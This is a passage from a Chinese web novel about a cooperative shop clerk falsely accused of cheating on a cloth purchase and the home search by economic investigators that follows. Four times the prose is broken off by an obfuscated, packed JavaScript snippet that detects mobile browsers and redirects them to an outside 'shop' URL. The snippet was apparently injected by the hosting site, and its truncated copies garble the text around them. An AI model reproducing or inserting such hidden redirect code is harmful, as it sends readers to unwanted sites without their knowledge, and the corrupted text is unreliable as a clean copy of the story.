王桂香嘴角勾起,半埋怨半玩笑的说道,“你叫有什么用啊?其他人不叫也没办法!” 她点清楚钱,把布折好,用一个小灰布包了,递给汪顺莲,“遮一遮,不然让别人看见,不知道又要嚼多少舌根子!” “我知道!”汪顺莲把布料夹在胳膊下,跟王桂香摆摆手,“今天谢谢你了,桂香,以后有事需要帮忙就跟我说啊!” 两人挥手道别。 看不见对方脸的那一刻,两人的笑容立刻收了回去。 王桂香从她随身携带的布包里摸出一封信,放在胸口愣了会,不知道在想些什么。 随后把信塞进怀里,快步像外面走去。 汪顺莲把布料带回家,随手往椅子上一扔。 “买来了?”于秀雅问道。 “嗯!”汪顺莲洗洗手,开始做饭,“今天晚上我不回来做饭了,一会儿给你们留点饭,你们晚上热热吃!” “别担心我们!”于秀雅一边扎马步,一边说道,“我也会做饭!晚上随便做点什么吃就行!” 晚上,直到天擦黑,汪顺莲才从外面回来。 于闻仲在院子里做窗户,窗户已经做好了,就差安装了。 “都准备好了?”他开口问道。 汪顺莲露出微笑,点点头,“我亲眼看见赵会计记在本子上的,还跟老孙头说定了,就在三天后,大家热闹热闹!” 于闻仲便不再说话,把安装好的窗户拿进里屋。 于秀荷的病已经好多了,现在正坐在床边吃饭,家里剩的唯一一碗鸡汤,正摆在她的面前。 “秀荷,端着碗去外屋喝,爸今晚把这个窗户安好,你们睡觉就暖和了!” 安窗户,首先就得把窗户拆掉。 这大冬天的,要是一直在屋子里待着,说不定养好的身体又病了。 于闻仲是八级工,手搓一扇窗户对他而言轻轻松松。拆卸、安装,不到半个小时,原本的旧窗户就变成了新窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315370|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 换上了新窗户,整个房间都不一样了。 更亮,也更新了。 “行了!”于闻仲放下手里的锤子,“保证不透一丝风!” 于家的日子过的有滋有味,跟邻居葛大妈的来往也多了些。 三天后,火车站,两个青年走了出来,两人一高一矮,高的那个人长得很精神,矮的那个胖乎乎的,一看就没少吃。 “我说周天青,你有必要这么着急吗?”矮胖青年气喘吁吁的跟上高个青年。 被叫做周天青的男人嫌弃的回头看了一眼矮胖青年,“王家祥,你是来工作的,不是来冬游的,这一路你就知道吃,资料你也不看,还好意思说我着急!” 王家祥很是无所谓,“反正到这边也得查个底朝天,到时候再看不就行了?一个小供销社,顶多是多吃多占,贪了点小便宜,能有多难查?” 周天青根本不管王家祥能不能跟上,他迈着大长腿走的豪迈,“我们过来的有点晚,估计供销社已经下班了,先去余得有的家问问情况,再去供销社拿资料!今天晚上必须把供销社的关系摸清楚,不打他们一个措手不及,就不好查了!” 王家祥叹了口气,无奈的小跑着跟上周天青,“我跟你一起出来工作真是倒霉!” 两人拿着地址,找了几个路人问路,很快就找到了余得有的家。 来的刚好,他家门口,一个中年男人正在开门。 周天青走上前,一只手夹着公文包,另一只手搭上了中年男人的肩膀,他笑嘻嘻问道,“你是余得有余主任吧?” 余得有本能的推开肩膀上的手,没想到那只手的主人异常用力,推了一下居然没推开,他不耐烦的扭头看去,刚要怒吼‘你谁啊?’,就看见那人衣服笔挺,手里还夹着皮质很好的公文包。 余得有一直很想要一个这样的公文包,他觉得夹着这个公文包出门很气派,别人看见了都得高看一眼。 可惜他老婆嫌贵,一直让他凑活着用旧的,不肯给买。 就这两眼,他就断定,眼前的人肯定不是哪来的小混混,就算是小混混,也是家里有钱的小混混,不好惹。 “我是!”余得有老实回答道,“你是谁啊?” 周天青和王家祥一左一右把余得有夹在中间,两人从公文包里拿出证件,遮挡着给余得有看了两眼,“经济侦察处的,到这查点事!” 经济侦察处? 余得有一听这名字,脸都吓白了,腿肚子直打颤。 “我……我……同志,你相信我,我可什么都没干啊!”余得有一边求饶,一边快速在脑海里一遍又一遍的思考是哪里出问题了? 他自问,平时除了占点小便宜,可什么都没贪! 他老婆都经常骂他,说‘卖肉的卖三年肉还能把自己喂肥呢!你这个主任都当多久了,家里怎么就不见钱呢?’。 “余主任别害怕!”周天青把他架了起来,“我们到这来是想跟你了解一点情况!” “什么情况?你尽管问,我知道的肯定告诉你们。”余得有立刻开始表衷心。 周天青拿出一封信,递给余得有,“你们供销社,有一个叫‘汪顺莲’的吧?” 5. 自首! “有有有!”余得有生怕事情扯到自己身上,立刻点头道,“她是我们供销社副食品柜台下面管理糖果柜台的售货员。” “既然你认识,那她犯的事,你也应该知道吧?”周天青半真半假的追问道。 余得有的头摇的跟个拨浪鼓一样,“我什么都不知道!我真的什么都不知道。同志,你可不能冤枉好人啊!” “我叫周天青,你叫我天青就行!”周天青一幅哥俩好的模样,把手臂搭在余得有的肩膀上,预防余得有突然跑路,“这是王家祥同志,你叫他家祥。” 王家祥冲余得有点了点头。 余得有连忙摆手,“不敢不敢!我还是叫你们周同志,王同志吧!” “你叫我一声同志,那我可得跟你说道说道了!”周天青一直笑嘻嘻的,看起来很是无害,“我问你,你老实告诉我,这叫坦白从宽,我问你,你什么都不说,等我查出来了,那叫抗拒从严!你是想从宽,还是从严呢?” 余得有都想把自己肚子里的东西掏出来给他们看,“两位同志,我发誓,我真的没瞒你们,我是真不知道发生什么事了!我虽然是供销社的主任,但供销社大大小小几十个柜台,人员加起来也有五六十了,我还能对每一个人如数家珍吗?更何况,人家是个女同志!” 余得有说的言辞恳切,不像是说谎,周天青跟王家祥对视一眼。 王家祥开口道,“我看他不像满口谎言的骗子!天青,还是去供销社拿资料吧,资料就是证据,到时候,撒没撒谎,一清二楚!” 余得有见有人站在自己这边,立刻附和道,“王同志说的对,我真不是骗子,我勤勤恳恳的工作,没贪过公家一分钱!我们的账目、进货、出货,单子都在供销社,里面写的清清楚楚,你一看就知道。” “行吧!暂且相信你!”周天青点点头,“到了供销社,所有的单子、账目,都给老老实实的给我交出来,要是敢藏私……” 周天青脸上的笑容瞬间消失,冷漠的看着余得有,“你知道我们怎么处置那些贪官吧?” 余得有立刻发誓,“绝对不敢!不敢!” 三人立刻就往供销社走,刚走没几步,余得有就被人叫住。 “都回家了还往外面跑!”余得有的老婆郑家珍大着嗓门怒吼道,“又出去喝酒是吧?我看你是想喝死在外面!” 余得有回头,冲老婆大喊,“你知道什么,快点回家去!” “我知道什么?”郑家珍更生气了。 余得有性子软,平日在郑家珍面前都不敢大声说话,吼他两句,就让干什么就干什么,郑家珍就是看重他这一点。 今天不知道是吃了枪药了,还是这么着,竟然敢当着外人面回嘴! “对对对!我大字不识一个,你可是供销社的主任,满嘴之乎者也,学问响当当!”郑家珍阴阳怪气的说道,“要不是我家是根正苗红的贫三代,您这条金龙哪会落到我家的泥地里!以前是没有办法,现在你又抖起来了,想从我们家这块泥地里飞出去……” 这又是哪跟哪啊! 余得有快被郑家珍气死了。 她到底知不知道事情的严重性! 这事弄不好了,别说他的主任当不了了,戴上贪污的帽子,轻则进监狱,重则直接枪毙示众! “郑家珍,你现在就给我回家去!”余得有黑着脸说道,“我不是出去喝酒,这两个是政府里的人,我们现在要回供销社处理公事,你别在这撒野!” 郑家珍被余得有的脸色吓住了。 他很少露出这种脸色,究竟是发生什么事情了? 还想再问…… 站在余得有旁边的男人走了出来,他笑嘻嘻的说道,“嫂子,我们找余主任有点事,不是去喝酒,您放心吧!事情办完了,我们绝对把他好好的送回来!” 郑家珍看出这两人不是一般人,也没敢再拦! “那……那你们就去吧!” “谢谢理解啊!嫂子!” 周天青对着郑家珍倒是和和气气的。 三人转身离开,郑家珍看着他们的背影,心里七上八下的,有点忐忑,她推着自行车往院子里走,停好车也没进门,站在院子里一个劲的慌神。 不对不对! 余得有是不是出什么事了? 那两人怎么那么像把人带走的公安啊? 郑家珍越想越怕,简直要哭出来了,“你个该死得余得有,你是干什么了,让公安到家里抓你?” 想了想,余得有是供销社主任,要是犯错,很可能就是经济上的错! “不行,我得去找找赵会计!” 骑着自行车出门,郑家珍急急忙忙的赶往赵会计的家! 另一边,周天青、王家祥、余得有已经赶到了供销社。 这个时候,供销社里大部分的人已经下班了,只有还在盘点库存的人在里面,余得有带着人往他办公室的方向走。 供销社的财务室就在主任办公室的旁边。 然而,三人刚走近,就看见一个女人在余得有的办公室门口徘徊,看见三人走进来,立刻慌张的从另一边跑了。 这个时间点在办公室门口走来走去,已经够可疑的了,见人就跑,那就更可疑了。 周天青让王家祥看住余得有,立刻朝女人离开的方向追了过去。 “别跑!”他边追边喊。 女人跑得慢,周天青没废什么力气就追上了。 周天青跑到她前面拦住她,质问道,“你是谁?跑什么?” “我……我……我不是坏人!”女人眼睛红彤彤的。 “是不是坏人得由我们判断!”周天青继续问道,“你是谁?跑什么?” “我叫王桂香,是……是这里的售货员!”王桂香低着头,支支吾吾的说道。 “你是这里的售货员?”周天青眉头紧皱,“那你跑什么?” 王桂香低着头不肯说,周天青正要追问,身后传来喊声。 “周同志,那是我们供销社的人,叫王桂香!” 是余得有带着王家祥追了过来。 两人气喘吁吁的,来到跟前,余得有喘了口气,当着周天青和王家祥的面斥责道,“我有这么吓人吗?你见了我就跑?” 王桂香摇摇头,“我……我没想跑……” “行了!”余得有打断她,“有什么工作非得今天晚上做啊?我晚上有正事,没时间给你解决问题。你先回去,明天再过来找我吧!” 王桂香抬起头,看向余得有,欲言又止! 余得有知道她肯定是有事,但是,他现在还一脑门官司呢,哪还有闲工夫管她啊! 况且,再不走,被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315371|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个笑面虎盯上…… “走啊!”余得有板着脸怒斥道。 王桂香低下头,正准备离开,被周天青拦住,“余主任,我们的事情虽然着急,但也不差这一会儿。你看这小姑娘都哭成这样了,你让人回去,她万一再想不开,那我们的罪过就大了……” 周天青给王家祥使了一个眼色,王家祥瞬间秒懂,附和道,“咱们一起回去,先把小姑娘的事情解决了,我们的事晚一点也没关系!” 话都说到这份上了,余得有也不敢反驳。 他可不想惹祸上身,要怪,就怪王桂香太笨,连眼色都不会看,自己往枪口上撞,受牵连也是活该! “行!你们说怎么办就怎么办!”余得有赔笑道。 周天青伸手,朝王桂香做了一个‘请’的动作,“我们先去办公室吧!不管什么事,在外面说不合适!” 王桂香看了看余得有,余得有也只能说,“那就回办公室吧!” 几人朝办公室走去,走到办公室门口,余得有从他的公文包里掏出钥匙,打开了门。 他很客气,开了门没进,扭头对身后的周天青、王家祥说,“两位同志先进。” 可两人的注意力完全没在他身上,他们盯上了地上的一个纸条,正要弯腰去捡,旁边站着的王桂香眼疾手快的把纸条抢了过去。 周天青和王家祥一左一右把人围住,生怕她再跑出去。 王桂香有些害怕,忍不住退了一小步,怯怯的解释道,“这……这是我的!” “怎么就是你的了!”周天青嘲讽道,“你当这是小学啊?谁捡到的就是谁的?” “不是……”王桂香辩解道,“这就是我的,这是……这是我塞进去的。” 她塞进去的?怪不得刚才在这鬼鬼祟祟的,见了人就跑。 周天青才不管,他把手伸出来,说道,“既然是你塞进去的,现在要解决你的问题,就得拿出来!把东西给我。” 王桂香眼神躲闪,求助的看向余得有。 周天青有些不耐烦了,对余得有说,“余主任,她是个女同志,我才这么耐心的,不然,刚才就搜身了。你赶紧劝劝,不然我一会儿对你也没有那么多的耐心了!” 余得有一整个头大…… 刚才让走,不知道走,现在都到办公室了,又搞这一出。 余得有的耐心也不多了,他严厉得斥责道,“把东西拿出来!当着两位同志的面,抢来抢去,像什么样子?人家是来给你解决问题的,你怕什么?” 被余得有这么一骂,王桂香的眼泪又流下来了。 不过,她也老老实实的把纸条交了出来。 周天青立刻拿过去把纸条拆开。 纸条上密密麻麻的,写着一封忏悔信! 王桂香在旁边哭着说,“我……我错了!我没有坚持住底线,我没有守住公家财产,我给犯罪分子提供了便利!我错了,我真的知道错了!主任,求你救救我吧!” 余得有一听这话,简直要晕倒! 怎么就没有守住底线了?怎么就没有守住公家财产了?怎么就给犯罪分子提供便利了? 这都什么时候的事啊? 怎么他余得有一点儿都不知道? 更重要的是,为什么偏偏挑在今天来忏悔? 这不是往枪眼上撞吗? 6. 搜家! 周天青把人往办公室里一推,反身锁上了门。 王桂香吓了一跳,往余得有旁边缩了缩。 余得有此刻正崩溃,哪还有闲工夫管她? 叹着气朝自己的办公桌走去,搬了两把椅子,往周天青和王家祥面前一放,“两位同志,坐着问吧!” 估计一时半会是解决不了了。 周天青接过椅子,没坐,放在了王桂香面前,“王桂香同志,坐下吧!坐下好好跟我们说说这事!” 王桂香一副受了气的样子,看向余得有。 余得有气不打一处来,心想,你看我干什么,这是跟我有半分钱关系? “该说什么就说什么!”他义正言辞的说道,“这两位是上级的同志,你不要有心理负担,大胆说,敞开了说!” 王桂香在三人面前,战战兢兢的坐下,抽抽噎噎的说道,“我……我犯了错,我没有守好纪律!我在犯罪分子面前软弱了,我……” 周天青打断她,“不是让你反省,也不是让你检讨自己,我是让你说具体的事情!” 王家祥在旁边给她打了个样,“什么时间,什么地点,谁跟谁,发生了什么事情,说的越仔细越好!” 周天青点点头! 王桂香这才开始叙述,“大概三四天前……” “不要有大概、大约这种词,三天前就是三天前,四天前就是四天前!” 王桂香刚说几个字,就被周天青打断了,她撇撇嘴,没忍住,又开始落泪。 王家祥把周天青拉到身后,轻声说道,“你这是干什么啊?越是这么问,她越是说不清楚!我们得讲究方式方法!” 说着,把周天青推到一边,他站到王桂香面前,语气平和的问道,“你别怕,我们就是想尽可能的把事情了解清楚。这样吧,你记的清楚的,就详细的说,记不清楚的,就跟我们说记不清楚,粗略的说。明白吗?” 王桂香擦干眼泪,点点头。 “那就继续说吧!” 王桂香继续说道,“三天前,汪顺莲找到我,说要给自己的两个闺女买布,过年了,她想给两个闺女做件新衣服。我想着,大家都是同事,她既然开口了,我肯定要给她最好的,就给她拿了一匹新进的、最新潮的布,让她瞧瞧喜不喜欢。 她一看见就喜欢上了,说那块布真是好,她的两个闺女穿出去肯定有面子。我本来挺开心的,一挑就挑到她喜欢的了。 可是,她突然问我,为什么那匹布上的花纹跟之前的不一样,跟其他的布上的花纹也不一样?是不是印错了? 我当时就跟她解释了,说根本不是,花纹之所以跟之前的不一样,是因为这是最新款,数量不多,就这么一匹,要是不赶紧买,拿出去肯定一天就能卖完! 可是……可是……” 王桂香一边说,一边抹眼泪,像是受了天大的委屈,“可是汪顺莲一口咬定,说那匹布上的花纹就是印错了,这不是好布,是印坏了的布。我解释,她根本不听。 按照供销社的规矩,印坏的布不能当正常的布卖,只能低价卖,还不能收布票。 汪顺莲不听我的辩解,强硬的把布料八折的钱给我了,没给布票,就把布拿走了。 她是供销社的老前辈,我是新来的,我不敢跟她争! 我回到家,越想越害怕,越想越害怕,我不敢跟任何人说,我也不敢再卖那块布,我有时候想,要不然就假装那块是印坏的布好了,反正,只要没人说出去,也不会有人知道…… 可是我不敢……” 王桂香开始大哭。 “我不敢,我错了!我没有坚持住底线,我没有守护好公家的财产,都是我的错!主任,你帮帮我吧!我不是故意的!” 虽然王桂香说的很长,但周天青和王家祥都听明白了。 王家祥对余得有说,“你先安慰一下,让她稳定稳定情绪。” 说完,把周天青拉到角落,两人开始私聊。 余得有把手帕递给王桂香,无奈道,“说就说,哭什么?” 王桂香抽抽噎噎道,“我害怕!” 害怕?害怕还敢往他办公室里塞小纸条? “你擦擦眼泪吧!”余得有心里直打鼓,他跟汪顺莲认识也有好些年了,她这人有点清高,人老实,话也有点少,平时不怎么跟别人说闲话,要说她会跟王桂香胡搅蛮缠,强行买布,占公家便宜,余得有不太信。 可是…… 王桂香说的这么真,好像真的发生过一样。 汪顺莲又是出了名的宠孩子,说不定,是为了孩子,一时鬼迷心窍,想占点便宜! 不过,这也不是啥大毛病,要是没有墙角那两个人,王桂香来哭这么一下子,他把汪顺莲叫过来,骂一顿,把票和钱补上,也就没什么事了。 可偏偏碰到这俩人…… 不对,之前这俩人找到余得有的时候,可是指名道姓点了‘汪顺莲’的名字的,难道…… 余得有敏锐的察觉出这件事露着不对劲! 但他不敢深想! 角落里,王家祥问周天青,“你怎么想?” 周天青揉揉鼻子,他有点想抽烟了,“半信半疑,得找另外一个当事人问问!” 王家祥倒是觉得王桂香挺可信,“我们为什么过来?不就是接到了好几封举报汪顺莲的信吗?刚一来,我们刚到地方吧,没有任何人可以通风报信吧,就碰上了王桂香这事!要说她是诬陷,能有这么巧?我觉得她有八成可信!” 周天青把烟拿出来,没点,放在鼻子下面闻了闻,说道,“不管几成可信,都不能定任何人的罪!” “谁说要定她的罪了!”王家祥急了,“我哪有权利定别人的罪啊!我是说,要是汪顺莲真是信里、王桂香嘴里说的那种人,那她家里肯定到处都是‘证据’,肉吃了,总不能布料也吃了吧?既然买东西藏着掖着不给票,那她家里肯定‘颇有资产’吧!” 两人都在经济侦察处干了一两年了,这种案子查了也不是一件两件了。 有没有贪,嘴上说了不算,‘证据’说了才算! “你的意思是?”周天青看向王家祥。 “老办法,现在就去她家里搜,打她一个措手不及!”王家祥跃跃欲试,“你不是常说吗?见了证据,就是铁嘴也得开口!” 周天青想了想,说的有道理。 本来那些信的真实性还不能肯定,但既然刚来就撞见了一个‘证人’,那去搜家也合情合理! “行!事不宜迟!要搜就得迅速,不能让她有任何准备!” 周天青对余得有说,“你带路,我们现在就去汪顺莲的家,到底有没有占公家的便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315372|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜,搜一下就知道了!” 余得有的脸当时就青了。 搜家…… 十几年前,他也被这么对待过,一大群人突然闯进他的家,不由分说,乱翻一通,试图找到‘不老实’的证据! 后来下乡之后,他娶了贫农家里的女儿,日子才好过许多! 如今,这简简单单的两个字让他想起来脑海最深处的记忆。 “怎么了?”周天青注意到了余得有的异常,“有什么问题吗?” “没有!”余得有立刻摇头,“我这就带你们去!” 他没有,也不敢有任何意见。好日子没过几年,他不想回到以前,这件破事,不管谁对谁错,他一点也不想沾。 四人以最快的速度赶到了汪顺莲的家里。 天还没有黑,大家都在做饭,汪顺莲也不例外,她拿着一只鸡,正在剁鸡。旁边还洗了蘑菇,看样子是要煲汤! 王桂香冷不丁来一句,“她家不是前几天才吃过一只鸡吗?怎么又吃?我都好久没吃上鸡肉了!” 周天青当然也听到了这句话,他的视线聚集到了光秃秃的鸡肉上。 汪顺莲放下手里的活,主动打招呼,“余主任,今天怎么有时间到我家里坐啊?” 余得有刚想答话,周天青严厉的看了他一眼,瞬间,余得有蔫了,在周天青无形的催促下变成了另外一个人。 他大声说道,“汪顺莲,这两位是县里的同志,到这里查一点事情,要搜你的家。你现在把家里的人都叫出来,老老实实的站到院子里。” 汪顺莲一愣,似乎有些惊讶,眼神在几人身上扫过一遍,仿佛明白了什么,她没反抗,说道,“家里有孩子,我让她们先出去玩一会儿,等她们出去再搜,可以吧?” 余得有看向周天青。 周天青点点头。 “动作快点,别耍花样!” 余得有还是第一次喊出这句话,他觉得自己有点扭曲,以前听到这句话的时候,他蹲在屋子的角落,恨死了喊这些话的人,如今,他倒成了以前恨得要死的人。 汪顺莲走进屋子,于秀雅已经牵着于秀荷往外走了。 “出去玩会儿,别太早回来!”汪顺莲叮嘱道。 “知道了!”于秀雅摸了摸妈妈的手,“我会照顾好秀荷!” 两人走出房门,于秀荷站在院子里不走了,她跟于秀雅说,“姐,我们就在这看吧!” “秀荷,乖一点!我们出去玩一会儿再回来!” 于秀荷拉着于秀雅的手站在原地就是不走,她盯着站在院子里,一脸冷漠的四个人,“我们又没做亏心事,有什么好怕的!我就不走,看他们能搜出什么东西!” 周天青看向于秀荷。 小小的一个女孩站在那里,一脸的不服。 于秀雅心里也是有气的,她也不想走,她想亲眼看着以前害过她们的人露出真面目,被所有人唾弃! 汪顺莲和于闻仲从屋子里走了出来,刚才于秀荷的话,他们两个也听见了。 “不走就不走吧!”汪顺莲说道,“这是我们家的院子,她们两个站在这,天经地义!” 余得有看着几人,以前被欺负的感觉又回来了,他不知道从那里生出的勇气,竟然扭过头对周天青说,“就这么搜她家的屋子,是不是不太好?” 7. 落空! 周天青瞪了一眼余得有,这个时候,在这里说这些干什么?都已经走到门口了,难道还能空着手回去? 他转头跟王家祥对视一眼,王家祥明白他的意思,上前一步推开门,进去开始搜东西。 周天青也走了进去,他没怎么动手,主要是观察,看这个家平时是什么生活习惯,哪些地方能藏东西。 院子里,汪顺莲、于闻仲,一家四口人站在一边,余得有跟王桂香站在另一边。 这里闹出的动静很大,四周的邻居都围了过来,葛大妈看了好几眼,犹豫着要不要过来问问。 徐大宝也从屋子里走了出来,见她妈站在石头上往于家看,好奇问道,“妈,你看什么呢?” 葛大妈立刻低下头,回身臭骂自家傻儿子,“你小声点!” 徐大宝好奇的追问,“怎么了?于家来亲戚了?” 葛大妈跑到徐大宝身边,好一顿锤他,“让你小声点,小声点!那边抄家呢,你说话还这么大声,不怕把人引过来?” “抄什么家啊?”徐大宝不解,运动早就结束了,连错判的都给平反了,现在哪还有抄家?“妈,那边到底怎么了?” 葛大妈小声跟徐大宝解释,“余主任带着两个大男人来搜于家,你说要不是抄家,会有这么大动静吗?” 余主任带人? 徐大宝立刻明白,恐怕是汪顺莲那边出了问题。 可供销社能出什么问题?还闹出这么大的动静? 徐大宝略微一想,应该是经济问题。 他们厂也有人爱从公家拿东西,要是一两次,领导就睁一只眼闭一只眼,训两句,把东西要回来就完了。要是屡教不改,就会找人当着大伙的面,把东西从那人的衣服里搜出来,给他一个没脸,让他长长记性。 余主任带人直接过来搜家,恐怕也是这个目的! 不过……汪姐真做的这么过分,偷东西给余主任都偷急眼了? 他们两家就隔着一堵墙,出门就外面一条小巷子,平时吃什么,穿什么,用的是什么,时间长了,大家心里都清清楚楚。 于家的生活过的是富裕,但也只是跟他们相比。 于闻仲是八级工,在厂里拿的是最高级别的工资,汪顺莲是供销社的售货员,工作体面,每个月还有稳定的进账。 家里两个闺女,虽然穿的讲究了点,可说实话,人家的衣服,穿一年拿出来还是崭新的,不像有些家庭的小男孩,新衣服刚做一个月,穿出去都快成破烂了,不是这里打了一个补丁,就是那里打了一个补丁。 论布料消耗,她家的用量也有限。 因此,虽然于家平时的生活过的好,左邻右舍都羡慕,但大家心里都有个明白账,他们过得好是应该的。 要是他们家里有个八级工,有个在供销社工作的售货员,他们也能过上这样的生活。 也没人会把于家的好生活归结到‘贪污’上。 “我看汪姐不像是会‘贪污’的人啊!”徐大宝顺嘴说道,“是不是有什么误会啊?” 葛大妈真想求徐大宝别说话了。 “都到家里抄家了,还能有假?”葛大妈小声嘀咕,“知人知面不知心,人家平时没拿出来,可不代表没在家里藏着。一会儿万一真搜出东西了,说不定还要叫我们过去问话呢!” 到时候要真被问话了,该怎么说呢? 是要照实说呢?还是瞒着点,说没见她们家吃过什么好东西。 可……可前几天她刚吃了她们家一碗鸡汤啊,这算不算贪污啊? 葛大妈一颗心跟着七上八下的。 “我过去看看情况!”徐大宝跟葛大妈打了声招呼就要出去,被葛大妈急切的拦了下来。 “先别去,先看看情况!”葛大妈就这一个儿子,生怕他也被牵连,“要是没搜出东西,我们再过去看看,要是真搜出东西了,那可千万不能过去啊!” 与此同时,于家的院子里,六人透过大开的房门,看着王家祥搜出藏钱的盒子。 站在外面的王桂香微不可察的松了一口气。 位置对了,那些人提供的消息应该也是真的,只要在于家搜出大量的钱财和票,不论汪顺莲怎么辩解,都再也摆脱不了‘贪污’的名声了。 不过,被人盯上的感觉还真是可怕,当那些人找到王桂香,在她面前一笔一笔计算汪顺莲和于闻仲这些年应该有多少存款和多少票时,她只觉得毛骨悚然! 如果不是家里的妹妹一直待业,她不会冒险趟这盆浑水。 王家祥把盒子拿到众人面前,他要当着众人的面打开,以免被人说栽赃。 身后,周天青也提着符合王桂香描述的‘那块布’跟了上来。 几人聚集在院子里,墙外到处都是伸头看的邻居,甚至有大人把小孩子抗在肩头,只为了‘看热闹’! 王家祥看向周天青,在他同意之后,在众目睽睽之下打开了铁盒子。 盒子一打开,所有人都下意识伸头往里看,不大的铁盒子里,零星的放着几张票,旁边还有一小卷钞票。 虽然不能从表面看出来有多少,但绝对没到‘贪污’的程度。 王桂香头上的冷汗瞬间就下来了。 怎么可能?里面怎么会只有这点东西? 王家祥回头看向周天青,显然是也没预料到里面只有这么一点。 没找到‘证据’的话,他们一会儿还得跟人低声下气的道歉…… 周天青把手里的布扔到汪顺莲面前,说道,“这块布怎么来的?” 一块红布,带着漂亮的花纹的红布,就这么扔到了汪顺莲面前,她弯下腰,捡起来,把红布上沾到的泥土拍干净。 所有人都注视着她的一举一动,等着听她的答案。 汪顺莲看向周天青,说道,“买的,怎么了?买布犯法吗?” 周天青一声冷笑,说道,“买布不犯法,但是,买布不给布票,还压低价格,那可就是犯法了!” 他看向王桂香,“你说!” 事已至此,哪怕铁盒子里没有搜到大量的票和钱,王桂香也没办法再反悔,她只能硬着头皮继续把这个谎言圆下去。 当时只有她和汪顺莲两个人,只要她坚持,汪顺莲一没给票,二只给了八折的钱,她人老实,性格又内向,王桂香观察很久了,只要是单独跟她说的八卦,就绝对传不到外面,这件事,她也肯定不会跟别人说。 “汪顺莲当时来找我买布,她看中了这块布,非说这是花纹印错了的坏布,让我低价卖给她,我不同意,她就强买强卖,只付了八折的钱,还不给布票,强行把布料拿走了。”王桂香说完又开始哭。 “我是新来的,她仗着自己是老员工就欺负我,我没办法了,只能找主任帮忙……” 她哭的太过于凄惨,围观的人开始说闲话。 “没想到小汪平时看着挺老实的,还能干出这种事!” “人心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315373|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔肚皮!” “就这种表面老实的人,干起坏事来才厉害呢!” “还说是汪一铲呢?我看以后就叫汪一偷吧!” 有人觉得汪顺莲不像是能干出这种事的人,有心帮着说两句,可看看周围,又闭上了嘴。 葛大妈看着儿子像是要张嘴说话的样子,生怕他说出什么,立刻开口大喊,“我看小汪不是这样的人,余主任,你可得查清楚啊!” 说完,还不忘把自家儿子从墙上拽下去。 王桂香被葛大妈那一嗓子震住了,哭声都停了。 汪顺莲便开始说话,她首先看向余得有,说道,“主任,我这么些年在供销社,一直勤勤恳恳,糖果柜台被我管的有声有色,每天进多少糖,卖多少糖,账目一直清清楚楚,每个来我柜台买糖的人,没有一个缺斤少两的,这你能作证吧?” 这个确实,‘汪一铲’的名声在外,要真有缺斤少两,早该被人举报了,这个名头也不会传这么久了。 汪顺莲在这住了这么久,人品一直没得说,轻易不发脾气! 不管那块布是怎么回事,她说的这些话倒是真的。 “这我能作证!”余得有点头,“她还被评过好几次优秀标兵呢!” 后半句是对着周天青说的。 周天青拿起铁盆,敲了敲旁边的洗菜台子,斥责道,“让你交代这块布的事情,你扯别的干什么?就算你是优秀标兵,私吞公家的财产,那也是犯罪!” “我从没有私吞过公家的财产!”汪顺莲理直气壮的喊了一嗓子。 她平时是多么温柔的一个人,此刻被逼成了这样。 众人不得不重新审视王桂香的话! “王桂香,我不知道你为什么要这么污蔑我!”汪顺莲把矛头对准王桂香,质问道,“我从没有找你买过布,是你,把我拉到布料柜台,跟我说,这匹布的花纹印错了,是坏布,可以低价卖,让我买。 我推脱说不要,你又说,自从你来到供销社,我照顾你照顾的最多,这次是特意想着我,才会告诉我。我以为你是个知道感恩的,念在你独自一人来江城工作的份上,我怕我不买,你心里有疙瘩,我才会买。 可我万万没想到,你居然会拿这块布污蔑我,把我说成一个胡搅蛮缠,想要私吞公家财产的人。我汪顺莲在供销社干了这么多年,从没有私吞过公家财产。如果我真是那样的人,前几年为什么不干? 我管的糖果柜台,糖果都是散的,想私吞那可太简单了,可我敢保证,我从没有偷吃过哪怕一颗糖。 